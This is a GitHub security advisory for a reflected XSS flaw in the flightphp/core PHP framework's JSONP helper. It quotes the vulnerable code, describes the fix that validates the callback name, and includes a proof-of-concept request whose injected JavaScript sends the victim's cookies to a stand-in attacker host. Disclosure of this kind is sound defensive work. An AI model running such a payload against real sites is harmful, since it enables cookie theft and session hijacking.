GitHub Advisoryadvisory · Packagist

GHSA-fcx8-ph5r-mxr4 Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp()

HIGH Published 2026-05-06 Modified 2026-05-14 Official page ↗
Aliases
CVE-2026-42548
Ecosystem
Packagist
Packages
flightphp/core
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
Weaknesses
CWE-79
Reviewed
2026-05-06

Affected packages

• Packagist flightphp/core: < 3.18.1 → fixed in 3.18.1

Description

Summary `Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting. Affected code `flight/Engine.php` (≈ lines 1000-1013): ```php $callback = $this->request()->query[$param]; $this->response() ->status($code) ->header('Content-Type', 'application/javascript; charset=' . $charset) ->write($callback . '(' . $json . ');'); ``` No regex or identifier validation is performed before the callback is written. Proof of concept Given any route that calls `Flight::jsonp($data)`: ``` GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);// ``` Reproduced response (`Content-Type: application/javascript`): ``` ;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"}); ``` When the vulnerable endpoint is loaded via `` on a page controlled by the attacker, the injected JavaScript executes in the `victim.tld` origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow. Impact • Reflected XSS in any application calling `Flight::jsonp()`. • Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages. • Exfiltration of authenticated API responses. Patch (fixed in `3.18.1`, commit `b8dd23a`) `_jsonp()` now validates the callback name against `^[A-Za-z_$][\w$.]{0,127}$` before emitting it. An empty callback (no `jsonp` parameter) still behaves as before. Credit Discovered by @Rootingg.

Related

Alias · CVE (1)

  • CVE-2026-42548 Flight is an extensible micro-framework for PHP. vulnerability

Weakness · CWE (1)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References